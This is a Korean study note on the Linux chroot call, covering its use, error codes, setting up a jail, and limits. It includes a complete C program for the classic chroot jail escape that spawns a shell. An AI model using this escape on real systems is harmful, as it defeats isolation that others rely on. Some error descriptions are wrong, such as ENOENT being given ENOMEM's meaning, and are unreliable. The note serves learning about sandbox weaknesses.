Youtube
해당영상을 바탕으로 정리하였음
1. chroot
1) Synopsis
#include<unistd.h>
int chroot(const char* path)
$ chroot {chage root path} {command shell}
2) Description
- change root 의 약자로 root directory을 변경해주는 명령
- root directory 위로는 벗어날 수 없기 때문에 user나 process를 해당 file system에 가두는 역할을 한다.
- root directory만을 변경하지 다른 것을 변경하지 않는다.
3) Return value
4) ERRORS
- EACCESS: 접근권한 거부(파일 권한문제)
- EFAULT: path가 격리된 환경 밖을 가르킨다.
- EIO: I/O오류가 발생
- ELOOP: symbolic link가 너무 많다.
- ENAMETOOLONG: path가 길다.
- ENOENT: 사용가능한 kernel 메모리가 부족
- ENOTDIR: path의 일부분이 directory가 아니다.
- EPERM: 권한 부족(user 권한문제)
2. 주의점
- 해당 file system에 갇히기 때문에 리눅스 명령어부터 shell까지 모두 직접 해당 file system에 넣어 주어야 한다.
- which를 이용하여 해당 명령어의 위치를 찾고, ldd를 이용하여 의존 라이브러리를 찾는다.
- 이후 chroot를 실행한 root directory 아래에 해당 파일들이 있어야 실행이 가능
$ which sh
$ ldd /bin/sh
3. Breaking out of chroot jail
- 하지만 이렇게 chroot에 가둬두어도 탈출 할 수 있다.
- 이 소스코드를 넣고 chroot한 root directory에서 실행하면 탈출하는 것을 볼 수 있다.
#include<sys/stat.h>
#include<unistd.h>
int main(void)
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
chdir("../../../../../");
chroot(".");
return execl("/bin/sh","-i", NULL);
}
한계
- 가둔 root directory에서의 탈옥이 가능하다.
아래는 file system만을 격리시키는 것이기 때문에 발생
-
root권한을 막을 방법이 없다.
-
자원을 차지하는 것을 조절 할 수 없다.